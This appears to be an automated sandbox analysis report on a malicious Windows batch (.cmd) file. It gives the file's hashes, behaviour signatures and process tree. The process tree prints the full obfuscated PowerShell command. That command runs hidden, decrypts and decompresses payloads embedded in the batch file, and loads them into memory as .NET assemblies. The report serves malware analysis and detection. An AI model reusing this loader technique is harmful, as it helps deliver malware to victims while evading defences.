Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    24-05-2024 01:12

General

  • Target

    3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd

  • Size

    72KB

  • MD5

    4bfe57ca78dd1ac468e92a2307783552

  • SHA1

    73966e6a19ba6f1ea47002ddcbc42d5ac6434b22

  • SHA256

    3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee

  • SHA512

    21a0071708eaeead1ebf0cb96ab39955b6ced797c0b9e25005c5c8ae4659f2ef842de42572f15fa02eb91df82eb5ba82b1b0d06d09d908d835f039f23fca4572

  • SSDEEP

    1536:W4s6PYSYp0q0tIlQ2baGAIbsIpcEj/Bi81w2yfmfV2fymv:46PHY2glQ2nAIQUcY91Fj2fyi

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2332
    • C:\Windows\system32\cmd.exe
      cmd /c \"set __=^&rem\
      2⤵
        PID:1028
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1680
        • C:\Windows\system32\cmd.exe
          cmd /c \"set __=^&rem\
          3⤵
            PID:2840
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3e0590e42affae14f003fe2686abb8bd9be6e2fb48f7160779d0dc0c03cdfeee.cmd';$jnWG='CopWZSmyTWZSmoWZSm'.Replace('WZSm', ''),'InlhpUvolhpUklhpUelhpU'.Replace('lhpU', ''),'CZIKWreaZIKWtZIKWeDeZIKWcZIKWryZIKWptoZIKWrZIKW'.Replace('ZIKW', ''),'ElzVbdemzVbdenzVbdtAzVbdtzVbd'.Replace('zVbd', ''),'ChayteonyteogeyteoEyteoxtyteoenyteosyteoionyteo'.Replace('yteo', ''),'ReplQraplQrdplQrLinplQresplQr'.Replace('plQr', ''),'EnRototRotorRotoyPRotooRotointRoto'.Replace('Roto', ''),'DecjqJxomjqJxpjqJxrjqJxesjqJxsjqJx'.Replace('jqJx', ''),'GeIEVqtCuIEVqrIEVqreIEVqntIEVqPrIEVqoIEVqcIEVqesIEVqsIEVq'.Replace('IEVq', ''),'FroWBktmBWBktasWBkte6WBkt4StWBktrWBktiWBktngWBkt'.Replace('WBkt', ''),'SpFryoliFryotFryo'.Replace('Fryo', ''),'MaoNWYinMoNWYodoNWYuoNWYloNWYeoNWY'.Replace('oNWY', ''),'LoZooQaZooQdZooQ'.Replace('ZooQ', ''),'TkUiTrankUiTsfokUiTrmkUiTFinkUiTalkUiTBkUiTlkUiTockkUiT'.Replace('kUiT', '');powershell -w hidden;function YsezZ($hYPZV){$VWSjA=[System.Security.Cryptography.Aes]::Create();$VWSjA.Mode=[System.Security.Cryptography.CipherMode]::CBC;$VWSjA.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$VWSjA.Key=[System.Convert]::($jnWG[9])('dIVP+hM/q3VrHeJIleztLe7YnRJfIUHX64EccbDbOY4=');$VWSjA.IV=[System.Convert]::($jnWG[9])('6IPeN2NKRdqw088nkuVbTg==');$BvjHr=$VWSjA.($jnWG[2])();$qFsMh=$BvjHr.($jnWG[13])($hYPZV,0,$hYPZV.Length);$BvjHr.Dispose();$VWSjA.Dispose();$qFsMh;}function ggFnh($hYPZV){$nRoYI=New-Object System.IO.MemoryStream(,$hYPZV);$BNSgW=New-Object System.IO.MemoryStream;$XVXGN=New-Object System.IO.Compression.GZipStream($nRoYI,[IO.Compression.CompressionMode]::($jnWG[7]));$XVXGN.($jnWG[0])($BNSgW);$XVXGN.Dispose();$nRoYI.Dispose();$BNSgW.Dispose();$BNSgW.ToArray();}$ldHdk=[System.IO.File]::($jnWG[5])([Console]::Title);$AAEWQ=ggFnh (YsezZ ([Convert]::($jnWG[9])([System.Linq.Enumerable]::($jnWG[3])($ldHdk, 5).Substring(2))));$xuGEv=ggFnh (YsezZ ([Convert]::($jnWG[9])([System.Linq.Enumerable]::($jnWG[3])($ldHdk, 6).Substring(2))));[System.Reflection.Assembly]::($jnWG[12])([byte[]]$xuGEv).($jnWG[6]).($jnWG[1])($null,$null);[System.Reflection.Assembly]::($jnWG[12])([byte[]]$AAEWQ).($jnWG[6]).($jnWG[1])($null,$null); "
            3⤵
              PID:2836
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -noprofile -windowstyle hidden -ep bypass
              3⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: CmdExeWriteProcessMemorySpam
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2852

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • memory/2852-2-0x0000000073F91000-0x0000000073F92000-memory.dmp

          Filesize

          4KB

        • memory/2852-3-0x0000000073F90000-0x000000007453B000-memory.dmp

          Filesize

          5.7MB

        • memory/2852-4-0x0000000073F90000-0x000000007453B000-memory.dmp

          Filesize

          5.7MB

        • memory/2852-5-0x0000000073F90000-0x000000007453B000-memory.dmp

          Filesize

          5.7MB

        • memory/2852-6-0x0000000073F90000-0x000000007453B000-memory.dmp

          Filesize

          5.7MB